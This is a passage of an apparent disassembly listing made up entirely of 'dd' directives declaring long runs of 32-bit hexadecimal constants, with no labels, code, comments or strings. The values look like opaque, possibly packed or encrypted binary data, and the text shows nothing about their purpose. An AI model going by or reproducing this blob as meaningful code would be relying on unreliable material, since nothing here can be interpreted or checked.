		dd 94D3C80Ah, 2EF0C340h, 12609264h, 32401EAAh, 69257B28h
		dd 42048073h, 9A848C99h, 0FF0601A7h, 0C33B28Eh,	4A857CECh
		dd 9BC708A8h, 80503564h, 99466CA3h, 4ED6140Ch, 0A46A128Ch
		dd 3DC89C3Fh, 0D9FB10F5h, 0A0276EB1h, 7C596CC8h, 781441C2h
		dd 0D89AA112h, 52A74C4h, 50AFBC77h, 34A83190h, 0E2B0A70Dh
		dd 0E3F55138h, 8189A849h, 0B490D968h, 0D8A44F27h, 0F5646648h
		dd 0A9375832h, 422C354Ch, 0D935DAFEh, 20F01B07h, 0A860CA4Fh
		dd 67583510h, 12832444h, 9A460F78h, 114D1091h, 2AC2DC51h
		dd 20C90C50h, 510EBC18h, 0D858C182h, 0F92F4D70h, 4984611h
		dd 0A3839C08h, 3B3B3A3Ch, 0E8C806A3h, 53873CA3h, 0F2B896B0h
		dd 0EF3CD8A8h, 863E5E7h, 80A36AF0h, 1C92269Eh, 5E8C931Ch
		dd 0D0D35F12h, 0D159E35Ch, 58E05091h, 1C6C0081h, 186F5FC0h
		dd 6E0A834Eh, 14984D15h, 55E05A51h, 5C30C11Bh, 0F197531Fh
		dd 81D918h, 7F58864Fh, 6D9F0710h, 0F06E8E02h, 5D9C5404h
		dd 82936703h, 74911452h, 9F582418h, 0D03B2511h,	13A087BBh
		dd 5C749A4Bh, 5E92610Ch, 30557814h, 4C315B18h, 59C25C91h
		dd 9A501A5Eh, 0F610440Ch, 2510083h, 15599B5Fh, 88A19253h
		dd 4A1C384Ch, 20C0D024h, 84570A47h, 3C203345h, 685E4846h
		dd 0FA31C130h, 7048A6E1h, 9F307378h, 9A3519BDh,	71F70356h
		dd 0BC430DFBh, 7DFFC0A7h, 3048CD42h, 7AF21ADCh,	29344038h
		dd 58DF56h, 34B8C93Dh, 28064A16h, 454E7F9Eh, 102101A1h
		dd 3D78974Ch, 0F0A42115h, 0A9DF08EDh, 700964D0h, 20AF80E7h
		dd 0D90C6388h, 0A3EEE14Fh, 165E218h, 90A02849h,	0D9866168h
		dd 0A7193167h, 0E81986D2h, 0BAE2598Fh, 0CC081011h, 2ACB051Eh
		dd 0EA4E4140h, 0AF41F848h, 3D2260B0h, 8A052661h, 21D193D0h
		dd 8CF49FE4h, 51DCD631h, 0C69E2AF9h, 9A9F2CC8h,	29BF8E48h
		dd 0D188D104h, 0C2D08B34h, 0C0A88853h, 6D18A891h, 18B72379h
		dd 30D115D2h, 69C269D8h, 29528663h, 9F50C403h, 4CFCA794h
		dd 574208A0h, 0B38C678Dh, 3112410Ah, 1845FD06h,	4C0AABCCh
		dd 32A5583Fh, 4A58610Ch, 58330F31h, 0D10DA53Bh,	0D430D29Fh
		dd 18DDBEDEh, 2A4C0594h, 1C9458E3h, 0FF7154CAh,	10A7A442h
		dd 64856D3Eh, 19953172h, 0C6B88819h, 0D3F7589Bh, 85C13A88h
		dd 2A313364h, 28351879h, 4228E1D1h, 84ECB842h, 3AA36A46h
		dd 84D228D4h, 9EA1B246h, 0D8210A4Ah, 0B6A8DA11h, 0C6884342h
		dd 106AE244h, 33A3591Ah, 0C00A4494h, 466A103Fh,	52113EA2h
		dd 42FA841Ah, 326CD961h, 846C485Ch, 60CA7E4Dh, 6909D220h
		dd 10828EFCh, 36E3FD60h, 40612304h, 654E84A0h, 0DF95D88h
		dd 0AA2F20E4h, 0A00C0858h, 83787C98h, 0B784E882h, 0E2391925h
		dd 0A0B471EBh, 21C9FC10h, 3C8CA240h, 14D06665h,	74E1B347h
		dd 999F5044h, 9091BBCh,	0B9F27BE1h, 145B4440h, 0A00AFFDCh
		dd 0CB20589h, 9C98F08Bh, 0B50C2361h, 4164D9BFh,	947234h
		dd 0B2EAFF6Ch, 566305F0h, 13E92D13h, 8AED0001h,	4081621Ah
		dd 5A8673D8h, 79508270h
		dd 68892AFCh, 167B4B8h,	0C9370378h, 0F0024057h,	0A1985A08h
		dd 76C8E700h, 8EAD09F9h, 0E6FA14B2h, 6E02E444h,	97A386FBh
		dd 610F2C60h, 0D3C0ED01h, 9F07A814h, 0D100C432h, 579188D0h
		dd 220063F0h, 0D57F0982h, 14AB485h, 0B5293AA0h,	8078D91Ah
		dd 0E3BA84D9h, 73F960Bh, 99611C7Dh, 0B26EB0F2h,	0E113372Eh
		dd 0EC007FBAh, 0CE929E4Ah, 9F75064Bh, 195832F1h, 7C96A622h
		dd 76AA2239h, 99BE9934h, 904DDC0Eh, 0BCE6390Ah,	7F0340F4h
		dd 770097A1h, 30B38E82h, 0F73DE2h, 0FE2E16E3h, 0E43BF9E7h
		dd 3814101Dh, 3CD11Dh, 0EA2AFBB7h, 0E8DE0E88h, 0A2D53EEBh
		dd 0E5E6F400h, 0E228F52Fh, 0FAEEA9F0h, 10F2220Eh, 28ED8CFDh
		dd 1510C321h, 0E9E0F53Fh, 0E200F026h, 0E7F42FFBh, 0FA6EBE5h
		dd 0E82E29D7h, 0F13A1380h, 0F9F018D5h, 2701E778h, 7DFDD1F3h
		dd 0B8957189h, 0ACAF0486h, 18C312DAh, 17B40525h, 0E6C8C17Ch
		dd 12184A8Fh, 0B845BF79h, 11C00C84h, 349075h, 54DAC5FBh
		dd 8A3C8F66h, 8E18B360h, 3EC1D61Ch, 590F9A26h, 48D8872Ah
		dd 5870AD1Dh, 0D23C42FEh, 0C1E8073h, 0BEF3FCA6h, 8C1F004Ah
		dd 5F53B1B3h, 82607A04h, 0C4852D90h, 1FDA3F56h,	967901FAh
		dd 0CDCB4FAAh, 0C7AF3058h, 0EC7D2700h, 0BB86F234h, 185C6040h
		dd 3921C51Dh, 143970DFh, 640F534h, 0FFA70EBh, 83201CD9h
		dd 7678BA2Fh, 0B1F8C029h, 8D59B08Bh, 0C4010946h, 9D7715FAh
		dd 83061E3Bh, 10857144h, 0C814DD03h, 690776Dh, 40F11768h
		dd 0C231E0EAh, 42CB68F7h, 8118F89Bh, 3B3D6C90h,	0C402461h
		dd 7C013C1Ah, 0B150BD71h, 81B97811h, 6983D451h,	2E048C4Ah
		dd 78CE2D0Fh, 0B580C1F6h, 42BE9E50h, 0B064A688h, 42F7DE00h
		dd 7949105Ch, 0E9C38988h, 0CC4AF9AFh, 113EF478h, 8F871019h
		dd 8309CF72h, 276A4819h, 48C23E28h, 5230AE64h, 3B2FB409h
		dd 0FA830300h, 0F6A84E88h, 5DCD0780h, 0B028D529h, 18E1A93Ch
		dd 0E6EE3F1Dh, 0D01E3E5Eh, 766E786Ch, 0F4385002h, 0E154C3E2h
		dd 0D2C1C710h, 120FED0h, 5ED4D5E5h, 4CA64F8Ch, 58398D44h
		dd 41B0249Ch, 449C80Ah,	0E8146561h, 0C4D4AF1h, 22F80800h
		dd 462842E2h, 6DE1674h,	8F887861h, 940E31FAh, 0E9A0B610h
		dd 8942E411h, 10320894h, 640804CAh, 95814846h, 0BEB3300Eh
		dd 8AEA5914h, 31C8A310h, 7809CC19h, 19104989h, 0E65EF108h
		dd 774270A3h, 9CB21026h, 427505DFh, 0C5C46167h,	8C9AE22Fh
		dd 4CDE5000h, 0E49034D6h, 0BD801881h, 24EA4509h, 918C4885h
		dd 91897D8Fh, 8B248812h, 8D918A48h, 97449422h, 12998996h
		dd 4F932490h, 169A8092h, 1DF3C6D9h, 64D8DF1Bh, 8B818CCCh
		dd 0D49187B8h, 0BA04346Fh, 9408BACAh, 0D10EBC4Ah, 0AE8047BBh
		dd 70D68A88h, 190F9B7Ch, 69D38172h, 0C3D18F14h,	0A331BBECh
		dd 0C309E3FEh, 80C1A1F6h, 5F48BA42h, 1563150Eh,	0F9D39C14h
		dd 0AED64001h, 88238274h, 946711E0h, 87FED748h,	9255FF04h
		dd 7714E38Ah, 0C3D31F00h, 34E115F6h, 4AF18183h,	252CE038h
		dd 0F2C010F3h, 35D11D8Fh, 9D8C68Ch, 18088AD7h, 77D55F04h
		dd 9AA60700h, 541AAF0h,	2A834BF2h, 79100504h, 80382B46h
		dd 0D6B5497Bh, 0F5421CCFh, 0E689CF04h, 6D807CCFh, 0D070B4Fh
		dd 95358204h, 0C3239C8Eh, 471A19E0h, 0A3344E0Ah, 9D45288Ah
		dd 10E470EAh, 0C93034C5h, 0E179288Fh, 4930CF99h, 1FC1DA80h
		dd 0D93C27D0h, 0DECC007Dh, 0E5E0D78Fh, 37D23C3Dh, 0D1F4EA00h
		dd 31F326FBh, 4B833Ah, 0E43BE1D5h, 139E5C7h, 26E82AFFh
		dd 0F3F770C8h, 1B16E6B0h, 2C01E474h, 0C1D5E221h, 0E1D3CF8Fh
		dd 0F9F4E81Ch, 2940C335h, 0FDE0F53Bh, 2A15F702h, 7C408E14h
		dd 0F034181Eh, 894A017Ch, 0E423E635h, 901CC2C7h, 0A4B8230h
		dd 2517E3EDh, 0E807611Ch, 0C77010E2h, 14F77520h, 60ED3F18h
		dd 0AADCFCD6h, 0A4D1EC2Fh, 23B37B07h, 70F23181h, 0BF131858h
		dd 172A4C4h, 0F27DD705h, 2C7017F9h, 0A0E5E6F7h,	1FD7E7C4h
		dd 0DCDD8979h, 38E3D47Dh, 138771CFh, 23DBD0B7h,	0E174D6F6h
		dd 402314A5h, 0DCDA8F83h, 0ECCEE9D4h, 0E8E9E8CCh, 0F820548Eh
		dd 0F8F23E3Dh, 70597BAFh, 89C05057h, 35D51C00h,	0C3D619DEh
		dd 0A58F1FF6h, 3A3CDCE0h, 0EC251609h, 0E5133481h, 0D00035E6h
		dd 0A4031217h, 0F26582E0h, 9880C4DCh, 13713FBh,	0EB8F25BFh
		dd 0D82D29F0h, 8E24E7F3h, 0A507A866h, 9889DD3Bh, 0F2B37C20h
		dd 0F03912E6h, 50EC1AFAh, 27B274B0h, 1791D56Bh,	7B895D1Ch
		dd 3C3000C2h, 9A2E4F6h,	0E1D4F915h, 48989655h, 0A92C58E0h
		dd 0FF210750h, 807C47D6h, 0E826FEC1h, 63E5E71Eh, 24E1EE06h
		dd 35182640h, 3AA200C0h, 2E16D1F1h, 1574ECE0h, 252C10C0h
		dd 1FE20E8Bh, 0B29EDEBh, 7007F221h, 0FC8749E9h,	13108267h
		dd 0F9EDA040h, 17103B63h, 0FD601226h, 58AC1822h, 88D229F5h
		dd 0EAD808AAh, 0F43F2A07h, 1239E243h, 0AB20FC30h, 0E3F5D445h
		dd 0A09426FEh, 0D0AC294Ah, 0F84AA9FEh, 0D6F93F0Fh, 30172E0Fh
		dd 135D4D4h, 63F1DC90h,	0A3220160h, 0E62FE81Dh,	0B8E5F2C8h
		dd 95B8ACCCh, 0FEEBB071h, 13E3075Ch, 12EC403Ah,	101FF725h
		dd 0D20132E9h, 28F53F14h, 0DC7F8061h, 0C9EB770h, 7B05F6D7h
		dd 36E7D5D2h, 3DC5C480h, 59B4B0EEh, 2EC4E425h, 0E80CD8E2h
		dd 1610E50Eh, 313A9F3Eh, 26E91025h, 13152897h, 81C42410h
		dd 0A6E82F1Ch, 0FD1FDC09h, 0E653E424h, 0C03B5950h, 2A8C4105h
		dd 0DA20C017h, 10983513h, 6826E537h, 0D0C03FC7h, 0B9F220FEh
		dd 90882520h, 3C43522Ch, 3C40C0E5h, 184CD1F5h, 58FA3034h
		dd 0FE810F3h, 15E0EC20h, 94D4B099h, 0D218C780h,	0C6375002h
		dd 7D0CFB70h, 0DD120E74h, 0C9168F22h, 362DE084h, 0C970E521h
		dd 18177CE2h, 0E0DE8Bh,	2D35F5C8h, 49F70125h, 0D47079FFh
		dd 0E0044BFEh, 1866130Ch, 1403F217h, 650001F0h,	7BF9E675h
		dd 5408E21Bh, 78BC4078h, 0ED1E0005h, 0E2699812h, 0DF0E4901h
		dd 809C1FBEh, 70470602h, 0F4F7CEFh, 780BE617h, 48F7E280h
		dd 157C1E75h, 1E81601h,	12E173B5h, 1DEF23D0h, 0E224B06h
		dd 0ED80996Fh, 0E6694332h, 71420507h, 738012EAh, 39470F13h
		dd 41011E16h, 652ED922h, 0F032D136h, 506E875h, 6E168B5h
		dd 4D120321h, 760EEF73h, 4380E6A3h, 761EDDFh, 7C061D98h
		dd 0D505C883h, 6800E90Fh, 742ABC14h, 21091E71h,	0FA7E7578h
		dd 74121EEFh, 60241873h, 765206F3h, 0E5F5F968h,	0A12246C0h
		dd 0A84047F4h, 14377814h, 0F079021Eh, 0F934F00h, 75975006h
		dd 4706EF70h, 7C07F0DFh, 67770321h, 247405EDh, 0C88106A2h
		dd 0B07D03D9h, 0F3165890h, 70FFE812h, 71782908h, 7E10A938h
		dd 1E78657Ch, 0E8144937h, 131C16C0h, 93E1DB5h, 0EF420F27h
		dd 0CDCE89Ch, 0E5167CF8h, 0F1032248h, 1C1E4703h, 0EB70E004h
		dd 1748324Fh, 7C4978E8h, 2F79D077h, 44BCC4A1h, 2D8C2080h
		dd 0C9034D9h, 7C90EB70h, 4306E30Fh, 311F8823h, 47744688h
		dd 0BCDF42DCh, 38D8D088h, 0BF00413Ch, 0E424420Bh, 9F08304h
		dd 1A80C48h, 0FD8112ECh, 0B04214CAh, 0D9F0A6EDh, 0E8191960h
		dd 0F3E2D02Fh, 86AB74C1h, 9D91A28h, 16C880E9h, 0A658A4ECh
		dd 0C66FFCDCh, 3024AC08h, 80F6EF12h, 747C1C40h,	24450ED9h
		dd 1444E56Fh, 14CAF41Eh, 2EF4278h, 1F23840h, 4FC87950h
		dd 131D737Ch, 307E4707h, 0F0AE80Eh, 1F0A076h, 0F6609978h
		dd 78D70485h, 330018EDh
		dd 32A2CA4Ah, 57E6C6h, 0DB42AAFAh, 2BEB7CF1h, 6600B2F0h
		dd 0ECE3BF5Dh, 303A831Ch, 6F30BAD6h, 0FC77F647h, 282F4B31h
		dd 1FFD72D4h, 2E397CD4h, 80DA8FB7h, 4D3E825Bh, 4A00F687h
		dd 0B0B38CD2h, 0F92D166h, 0AA561814h, 79203FACh, 0F140477h
		dd 0E120B80Ch, 0D418AEB9h, 52724910h, 0E3E24405h, 15C1E01h
		dd 5EAA58AFh, 3618C49h,	44FEC8DCh, 0D4024884h, 0BF5E2509h
		dd 7944C831h, 8C2F39EBh, 0FFDB380Eh, 846D1CA2h,	2CE1C99h
		dd 98AC930Dh, 3C03EC5Ah, 0E801C627h, 0CDED110Ah, 0A99C427Ch
		dd 36574600h, 7BB4A0ABh, 2FEE0A39h, 0B08DDD9h, 4820A58Eh
		dd 0A3AA731Fh, 1C591800h, 0CAABD415h, 0D2571D4Fh, 0A4370A6Ah
		dd 0D83308C0h, 0F4C67180h, 0C3A96D0Fh, 64EDFE50h, 8485148Ah
		dd 6B54210Bh, 0A6F51806h, 1C5E411Ch, 2E460D88h,	84B2D862h
		dd 80C30A10h, 2A305275h, 14EC18B1h, 26790C1Ch, 0DE8102FDh
		dd 6DB51700h, 0D8540D76h, 53BD3A7Dh, 4421C730h,	4A03B50Fh
		dd 5E060783h, 0A14B8AAAh, 8E20AFF0h, 4C47C5Bh, 74236A07h
		dd 5FF3C080h, 9E730CAh,	7C97666Fh, 1DD9AC20h, 460F0C16h
		dd 2C03B923h, 0C2CD0833h, 1625BF51h, 0C3D2BEE0h, 0CFB0D648h
		dd 0AE9A85EEh, 5A7D9800h, 0C432BB12h, 42A365D9h, 4E5566F2h
		dd 0EDA64098h, 0E9C91475h, 379402FEh, 0C0A230B5h, 0FEC7702h
		dd 4B437FA5h, 0BE209138h, 8064C891h, 46061617h,	1C3D8733h
		dd 0B8A4161Fh, 48E01B1Fh, 0CEA9B455h, 80DC9F18h, 0BE3457E7h
		dd 0D004E0A7h, 58780837h, 23201C8Ah, 87090348h,	220020DEh
		dd 47744Fh, 703ABF8h, 0B652BF3Dh, 0C8C5DCE8h, 0C820D1B7h
		dd 66E7BAACh, 581A10D7h, 0CD85860h, 1D945E1Fh, 80250816h
		dd 0B2BBD6B6h, 20C35372h, 3D46966h, 0EE56AA99h,	328054C3h
		dd 84A0A1AEh, 7A0C8BC5h, 108CD742h, 7D50C0Dh, 50397461h
		dd 18C4710Eh, 7DE3A1E7h, 89898EFh, 6A292158h, 0C972C400h
		dd 0EC966B87h, 7CE92827h, 89FF00E8h, 46ED5E09h,	0F960D7EAh
		dd 877E7AC0h, 0AD7300D9h, 0CAE378ACh, 2F30EA83h, 0C06920C7h
		dd 87D0ED1h, 40FEE181h,	5C254903h, 0BC92EA82h, 0A711705h
		dd 0B400CBBDh, 0D5318FBFh, 0EA4A0CDFh, 1148262Ch, 0A65DA0Eh
		dd 0C881864h, 0EE430929h, 78A2A657h, 2048CB95h,	0BB001151h
		dd 8F21F2Dh, 5D118C7h, 0B21AB5E0h, 0BCB83219h, 60119084h
		dd 211AC46Fh, 33C040E7h, 7AC468h, 0A7811D0Bh, 496FBD07h
		dd 7C15BB7Ah, 4864708Bh, 20234Ch, 766BB511h, 448653BDh
		dd 9043EC6h, 0C5E501B5h, 98188983h, 0AC94E885h,	0AA5D0D84h
		dd 40C074FAh, 0BF6AE6ECh, 0CE017076h, 825EA030h, 20BA6BFEh
		dd 63397E01h, 501B028Fh, 27ED057Ch, 160C64F1h, 0EE5B6600h
		dd 5FBB7C8Ch, 5468C2DAh, 689088C2h, 9C1359A5h, 80380F4h
		dd 29C8310Fh, 0A501F18h, 40C4976Ah, 0EFAEB736h,	4B52F400h
		dd 0E00BC973h, 9CC800F8h, 1E186406h, 0FE028DD2h, 2F10B190h
		dd 0D6C8C048h, 6361805Eh, 0A91BCA8h, 0CDD54100h, 5A9F35B7h
		dd 43800038h, 18B0D4FBh, 9112A7CCh, 2C0E1D23h, 4456707Ah
		dd 30D09A00h, 0C3D37BACh, 850D9100h, 4E1FC83Eh,	1F74A4E5h
		dd 6D48E7Eh, 48375179h,	3F9F783Fh, 0A42ABE7Ch, 0E91AC31h
		dd 11C46C80h, 448C98E7h, 6524305Dh, 3D0084C4h, 5F14D3F3h
		dd 0EBC813E1h, 5D2043DAh, 60DDF67Ah, 791D995Ch,	80241949h
		dd 7674B518h, 0CC448CF5h, 0B5100737h, 102E411Bh, 602D0C40h
		dd 21F82033h, 0AD58987Dh, 9F60349h, 35B4B854h, 6032A5D8h
		dd 0E2385E52h, 0E80730CBh, 7409C7E8h, 0A1F56257h, 0FEC29D0Ch
		dd 86175033h, 5E4040A2h, 1904EB42h, 3D189300h, 0DC9B9656h
		dd 17609BA8h, 91582087h, 0ED01F8FEh, 0FCCEFAA6h, 62F2A868h
		dd 0ACAF0093h, 91669242h, 8C7E0018h, 7D37BFF6h,	26CEBC00h
		dd 77BE1720h, 0B0710202h, 1B8541A5h, 92384048h,	0E5345C13h
		dd 7B9F2C04h, 0AA78204h, 7CE0C8EAh, 90DDFA52h, 77204h
		dd 7EF489A8h, 0D88810FFh, 20B4E8A8h, 5C033C79h,	5373DD6Bh
		dd 0AC083043h, 3C0899D1h, 0DA05A2EAh, 0F5FC333Bh, 25D6A840h
		dd 13AFE4CBh, 60BB4028h, 50EAECF0h, 0C9ED0786h,	0E0F689FEh
		dd 9054D93Ch, 8404D04Ch, 1900669Eh, 80A8A483h, 0F0001646h
		dd 24D71209h, 560A3607h, 647D8450h, 1AB4656h, 20860465h
		dd 0B089AD6Dh, 9411D7F2h, 86D1813h, 70E714C4h, 35405BC4h
		dd 0D7AEC466h, 300E6A00h, 0C323C578h, 8E5D003Dh, 0E16C96FEh
		dd 0D09343EBh, 6F08B026h, 0E8D114FDh, 0B5FB8500h, 657E6D3h
		dd 1C02A04Ah, 3AF7E4Ah,	0D0BB5AA9h, 5037182Eh, 1C806511h
		dd 1B460B16h, 0BCD6448Ch, 7616241Ch, 2F61CC80h,	1EEF8Ah
		dd 0CD79E1D1h, 0F3F640D5h, 0C40A8F0Ah, 0B8CAE0A7h, 0B25E9D02h
		dd 1D60AB22h, 80D21190h, 5C0FD61Dh, 49DA2C4Ah, 0E1144108h
		dd 51DEFC91h, 60609626h, 8EC0A441h, 43222E1h, 764AD504h
		dd 0C2D0B4BCh, 56A8A540h, 430990EAh, 0C410F5C8h, 41C0CFFBh
		dd 0A6133E36h, 10E0AEh,	3017247Bh, 7A09019h, 4B6FD100h
		dd 0E252B5BBh, 0BA89C247h, 0D480D01Bh, 0EC76C0A1h, 0BCB51F26h
		dd 6C307992h, 26E9EDB0h, 0A8C4BA8h, 28644082h, 1E124650h
		dd 5C483C0Ah, 4FA7C41Bh, 2A3CC097h, 2842053Ah, 2078B9EAh
		dd 7D00DD3Eh, 0CC730A9Fh, 330FECBFh, 0B818A8C1h, 0AC58D2FAh
		dd 400008E4h, 757C06E1h, 2ED6B04Bh, 8A64ED61h, 0E4704902h
		dd 4C98A27Dh, 9553C090h, 6F4E845Bh, 0D0ECD015h,	85000629h
		dd 0C0BD7744h, 43B52CDh, 12C66188h, 0B648C176h,	38CF00D7h
		dd 164BB77h, 6D07E6BDh,	1DE864D5h, 0A5C58C01h, 0D783E37Ch
		dd 86A8D100h, 230616Bh,	0AD6DBE0h, 8119C5A4h, 1DC7DECh
		dd 3824CC95h, 7906EC33h, 24A6017Eh, 196976E2h, 4CBFFCB1h
		dd 0E0AF3F06h, 0AD01E51h, 6B6EC120h, 0CE4F0834h, 191F6A00h
		dd 59525E0Fh, 1E12F0E6h, 0EA600B17h, 952ED816h,	465EA01Dh
		dd 88EE00CBh, 0FE94027Ch, 11E45C66h, 7EEA2160h,	0BB00D8D2h
		dd 255E22F1h, 1174362h,	0E17ACF0Ch, 0D8B337FFh,	700DD03h
		dd 0AFF33C3Ah, 5619A679h, 0D853A05Dh, 9D30D7A2h, 3D660409h
		dd 806D19C4h, 57E27480h, 8B14720h, 0A4E632D5h, 263ECC24h
		dd 950C9390h, 41F49C2h,	0C463A4DCh, 623C8216h, 6091A050h
		dd 0B460F4D3h, 0B1120553h, 6D0F088Eh, 43ADA018h, 77BAF91Eh
		dd 2866FC62h, 48C2CFD4h, 4704B8D5h, 88DBC12Fh, 0D3023FD8h
		dd 0FC1FC626h, 0ADB4A0CEh, 0ED2E1h, 669CB6A1h, 98D7BC5h
		dd 0F3438800h, 0B8C8FE7Eh, 791C021Bh, 0C4890F45h, 0E70C9852h
		dd 10C2311Fh, 0F65214FFh, 6C0988A0h, 0CC27410Fh, 0BD9EF275h
		dd 0BC096001h, 3532760h, 27E6D58Dh, 4128DD49h, 24011432h
		dd 61170D6Bh, 0A99FF95Dh, 0DE564B2Dh, 2A04540Fh, 1824B0ADh
		dd 207C4400h, 0E2ECE3BEh, 764CB482h, 0F1F6E323h, 0F17EEE3h
		dd 0E2248E5Eh, 4F4E253h, 0DB3FDA46h, 58702CE7h,	8117BA08h
		dd 0E5408E4h, 1E3C06C0h, 803B435Ch, 343C0E93h, 66F04D5h
		dd 0D8560775h, 0E84D5E74h, 0E45B8E70h, 9CA26C52h, 74500D24h
		dd 5604CD46h, 0C82FE719h, 1E62E5C8h, 44DCAD10h,	0D8062040h
		dd 0D1C08678h, 0D30B34B1h, 0EC6DFC94h, 0D64DF81Ah, 90141059h
		dd 0D0196C87h, 4A648D98h, 243BA0Ch, 2082C0B1h, 130472E2h
		dd 0C1D50F6Fh, 0C0892892h, 53796958h, 2F4B4043h, 5A2324h
		dd 84FB2572h, 6C01B160h
		dd 4CF51143h, 57E4C303h, 18549230h, 39646607h, 0FA00F28Ch
		dd 0EA617C22h, 768B8Fh,	3BB4A6FCh, 0B310510h, 0EF179500h
		dd 0D90C96EBh, 3364B08Fh, 6EA8DA6Ah, 73BE490Fh,	3D554EAAh
		dd 14874612h, 1A5761C1h, 89879ACh, 8617A6BEh, 7F110020h
		dd 0B22C0071h, 215352BCh, 0DA019735h, 74E42FAFh, 90201AB8h
		dd 0B1F820D7h, 3442CF13h, 9612043h, 8B2008EDh, 0FD8CB202h
		dd 0A50E9944h, 6264E4A4h, 10C0E09Fh, 20710144h,	0B3EA8095h
		dd 0C61AAFFh, 0BE81D313h, 0EBE3E045h, 88FA30C7h, 3EC03B47h
		dd 7D104EBBh, 0CA550171h, 58617DC2h, 9502D2B9h,	0D22448C0h
		dd 0F5A000A3h, 0B7192DABh, 0B04D5E42h, 55516010h, 0B6A2F10Fh
		dd 0EF770FBCh, 387E0B02h, 0F2C85440h, 74821CB4h, 683242F6h
		dd 4BC5EC44h, 1F386124h, 0FC3D61h, 55916E2h, 9A15861Ch
		dd 0D6522D04h, 81E1000h, 9D1C0C5Bh, 97C25694h, 4CDB75BFh
		dd 985302D8h, 0D103D9E5h, 0C91DC4Ch, 518A7D1h, 9E7E5E01h
		dd 0F303715Dh, 2C1B5860h, 0C0DC2379h, 7672B51Ah, 7C2CE54Fh
		dd 0B5120041h, 0C7EAC1CAh, 55ED9D1Ch, 83C080A4h, 0E00BAE7h
		dd 3964AEFFh, 0E26E3Ah,	60A05409h, 0C8966A74h, 0E09E31DDh
		dd 0C105A141h, 0A80FCCFh, 0BE15B8E3h, 0E11920A2h, 0EDE0D373h
		dd 0B4A03460h, 0A59E89ECh, 210F0C40h, 613DC40h,	58E10338h
		dd 7C0CD8C7h, 287FC652h, 865710EAh, 5A7509CFh, 1F2C40CEh
		dd 59507BD1h, 0BE0B8C62h, 0AC820F4Ch, 1C680A57h, 0AD07361Dh
		dd 0EB7F122Eh, 40709FC2h, 91610E0Ch, 0D3FA0F48h, 939D3700h
		dd 65715543h, 0AD38D001h, 0EDC80D6Eh, 0DD041C3Dh, 0F4C8251h
		dd 0D86B6478h, 9252BD01h, 0FC188065h, 30D09FB3h, 0FF7D0CA7h
		dd 0E69EFE1h, 0BC1CD624h, 24C81695h, 0F40B0C7Eh, 643807E6h
		dd 51365202h, 79EF049Ch, 90A638h, 1B787D28h, 96FF19BFh
		dd 0CDEA4578h, 21A02170h, 7F209594h, 0ECAC4090h, 30E7C826h
		dd 0E4977442h, 4D370078h, 1D4CC578h, 71009F54h,	1E09FD1Fh
		dd 0C326E43Bh, 384A130h, 0B24401A4h, 782904BEh,	8C6F6907h
		dd 0D4ADC1F6h, 5B987648h, 0DA23AC2Bh, 6008FA07h, 0DE1338F2h
		dd 0EC863D34h, 29839CE9h, 0B7DA440Ah, 38C84030h, 0D3465Ch
		dd 207D1853h, 0C5698E49h, 406566B8h, 0F55038DCh, 89E44806h
		dd 0F2CCAB00h, 65B66BD8h, 98611C8Dh, 8A5244FEh,	1628A47Fh
		dd 14C08F50h, 4DD2463Bh, 1D6E1290h, 7AE28800h, 0BC9FDE52h
		dd 0CC1E941Ch, 1FED610h, 0BB7E0C64h, 389FE0A7h,	5E3A0573h
		dd 0B41804B8h, 85248519h, 0EEDCE4ACh, 66C1F106h, 1669A118h
		dd 21ABB527h, 0D383E0h,	0EDD507E6h, 987D1887h, 0E92E9141h
		dd 0B670301Fh, 70415541h, 5D00E393h, 7704FC91h,	3E42CED4h
		dd 540AEC90h, 682B1D8Eh, 0BBF9C41Fh, 0AC008089h, 2E018DD4h
		dd 887E7B1Ch, 382906F0h, 77D7512h, 6946CFCCh, 1E60605Ah
		dd 0F11F5520h, 0B15094C0h, 47CCA5C0h, 0AA5CF008h, 0A0CE5122h
		dd 20A66918h, 0D9CD9C64h, 0B37027h, 0A3BE3D5Bh,	25E2935h
		dd 0DEB2FA1Ah, 0A7182040h, 1544281h, 637C5D7Eh,	41A01FCDh
		dd 0FCAADFA3h, 4A147687h, 84B8AF7Ah, 1890C795h,	0F0E5F059h
		dd 600F0913h, 708261E8h, 404A6D79h, 0D49B28Eh, 0F8EF5002h
		dd 53BE4820h, 186A8987h, 20160811h, 0D5C40346h,	161AC75Eh
		dd 0E9543160h, 8F28E8B8h, 0B0E3761Fh, 0EE00B6DDh, 0F47A46EBh
		dd 6078B2CCh, 0A8A1E97Ch, 713E28Eh, 240177EAh, 0D472F9CFh
		dd 1D88E048h, 0C8200B4Eh, 1900C8D6h, 67303FBEh,	8640C1F8h
		dd 0BD8DD216h, 986146B8h, 230B4621h, 230281E4h,	0CD603B16h
		dd 0D65100EFh, 542766F0h, 0C965960h, 963A7B82h,	18B490BBh
		dd 9AD62636h, 0ADAE0984h, 2CC5E4E8h, 825B5D12h,	0C48EF452h
		dd 9BC0D188h, 57C06B6h,	57E244A6h, 0BFC889D9h, 26F9A710h
		dd 0F96961D4h, 0E0247AE5h, 84A60364h, 0E7D9D073h, 95938A6h
		dd 3C0780E4h, 8C435C17h, 94AD44h, 83CA3C0Fh, 0C728DCCFh
		dd 0DCC2D326h, 18C50208h, 0C95B880Eh, 0F5C84CA0h, 7A61D560h
		dd 3F6847Ch, 834769C3h,	0AA2E1D6Bh, 0A540005Eh,	3478CBh
		dd 536EE768h, 8473E688h, 4C315Ch, 66B1FDC4h, 0FB2CC07Ah
		dd 40FA4C20h, 590E375Eh, 0E504422Eh, 3852CB14h,	8C25FCA4h
		dd 76EAB5F4h, 0C6221546h, 0B50C4300h, 0CE3EF71Ch, 0E31E000Eh
		dd 0C43AE8B7h, 0E44D1FEAh, 9D84256Ch, 0FCE691F8h, 0DEE185E6h
		dd 943CB651h, 20983300h, 0ABEA80BEh, 2098CB69h,	0DC037080h
		dd 0F9B712E1h, 0E548A0A1h, 0B075A35Ah, 0E2B26897h, 164F0DAh
		dd 0AFC28AE9h, 68DEA8D4h, 0C3105C68h, 0C1468DD1h, 4822DFCFh
		dd 257A5610h, 0CE04609h, 0BEEA52FFh, 140E6C68h,	37ECC472h
		dd 0D82B8C04h, 92D21F03h, 83606025h, 18847ABCh,	0D8FD4708h
		dd 0A08CE2DFh, 814B820Ch, 1901E3A2h, 0ECF8CCF5h, 52DD196Dh
		dd 407E9464h, 0E225AC70h, 0D87C0AAFh, 800FC00Eh, 297AB1B8h
		dd 67612617h, 0A1DB803Ch, 7037CA24h, 118DC000h,	1C3A7F74h
		dd 6FB0C2D4h, 0E87A82A1h, 0CF781900h, 3B9EF924h, 12EE5F9Dh
